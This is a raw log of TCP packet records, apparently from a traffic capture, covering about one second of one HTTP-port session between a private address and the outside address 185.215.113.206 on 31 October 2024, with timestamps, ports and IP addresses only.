Oct 31, 2024 17:26:07.210752964 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.210787058 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.210808992 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.212198019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.212212086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.212244034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.212261915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.214380026 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.214394093 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.214405060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.214426041 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.214447021 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.235666037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.235735893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.236046076 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.236057997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.236118078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.237586021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.237633944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.314476967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.314572096 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.314867020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.314879894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.314920902 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.316461086 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.316473961 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.316517115 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.318083048 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.318095922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.318109035 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.318146944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.319758892 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.319772005 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.319813013 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.321428061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.321477890 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.352320910 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.352426052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.352680922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.352695942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.352729082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.352758884 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.354470015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.354492903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.354540110 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.354557037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.429611921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.429682970 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.430005074 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.430058002 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.430160046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.430202961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.430908918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.430926085 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.430977106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.430995941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.432463884 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.432482004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.432521105 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.432539940 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.433706045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.433718920 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.433731079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.433748007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.433778048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.467200994 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.467293024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.467422009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.467436075 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.467469931 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.467494011 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.468560934 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.468576908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.468609095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.468630075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.469491959 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.469502926 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.469528913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.469553947 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.545226097 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.545324087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.545430899 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.545445919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.545478106 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.545500994 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.546541929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.546555042 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.546590090 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.547650099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.547662020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.547684908 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.547720909 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.548888922 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.548904896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.548927069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.548944950 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.582681894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.582775116 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.582890034 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.582904100 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.582941055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.583985090 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.584000111 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.584050894 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.584084988 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.584928989 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.584942102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.584975004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.585001945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.586163998 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.586213112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.682363987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.682446003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.682594061 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.682606936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.682648897 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.682674885 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.683737993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.683752060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.683778048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.683803082 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.684763908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.684777975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.684803009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.684823036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.686002970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.686022043 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.686043978 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.686069965 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.697617054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.697684050 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.697905064 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.697917938 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.697951078 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.697981119 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.699002981 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.699052095 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.699342966 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.699357033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.699393034 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.699404001 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.700593948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.700608015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.700639009 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.700655937 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.701770067 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.701786041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.701817036 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.701836109 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.776679039 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.776828051 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.776844025 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.776859999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.776885986 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.776918888 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.778050900 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.778067112 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.778135061 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.779095888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.779113054 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.779124975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.779161930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.779203892 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.812979937 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.813067913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.813271999 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.813287020 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.813311100 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.813337088 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.814518929 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.814532995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.814555883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.814578056 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.815282106 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.815294027 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.815330982 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.815376043 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.816395044 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.816406965 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.816570044 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.817591906 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.817610979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.817655087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.817678928 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.892268896 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.892446041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.892457962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.892474890 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.892502069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.892520905 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.893140078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.893156052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.893184900 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.893204927 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.894433975 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.894448996 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.894470930 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.894490004 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.895349979 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.895394087 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.928212881 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.928317070 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.928428888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.928445101 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.928472996 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.928493977 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.929176092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.929219007 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.929757118 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.929769993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.929802895 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.930984974 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.930996895 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.931032896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.931951046 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.931962967 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.931996107 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:07.933221102 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.933238029 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:07.933269024 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.008424997 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.008573055 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.008660078 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.008697987 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.008732080 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.008758068 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.009753942 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.009768009 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.009810925 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.009829998 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.010891914 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.010938883 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.043375015 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.043474913 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.043651104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.043864012 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.044210911 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.044224977 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.044266939 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.044295073 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.044986963 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.045001030 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.045043945 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.046241045 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.046257019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.046304941 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.047292948 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.047307014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.047353983 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.048605919 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.048620939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.048633099 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.048701048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.048701048 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.049643040 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.049654007 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.049700022 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.122283936 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.122430086 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.122523069 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.122534990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.122566938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.122596025 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.123266935 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.123277903 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.123342037 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.124382019 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.124394894 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.124449015 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.124494076 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.158720970 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.158781052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.158947945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.158962011 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.158989906 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.159012079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.159740925 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.159758091 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.159784079 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.159810066 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.160860062 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.160880089 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.160918951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.160947084 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.162055016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.162102938 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.162477016 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.162492990 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.162507057 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.162532091 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.162564039 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.163734913 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.163752079 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.163781881 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.163819075 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.164952993 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.164967060 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.164999008 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.165030003 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.237776041 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.237844944 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.237967014 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.237979889 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.238007069 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.238028049 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.239113092 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.239126921 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.239156961 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.239181995 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.240205050 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.240219116 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.240231037 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.240248919 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.240286112 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.273844004 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.274065971 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.274076939 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.274090052 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.274127960 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.274708033 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.274782896 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.274853945 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.274898052 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.275430918 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.275444031 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.275482893 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.276657104 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.276670933 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.276710033 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.277657032 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.277669907 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.277710915 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.278884888 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.278899908 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.278939962 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.280107021 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.280122995 CET	80	49730	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:08.280157089 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.280195951 CET	49730	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:08.352941036 CET	80	49730	185.215.113.206	192.168.2.4
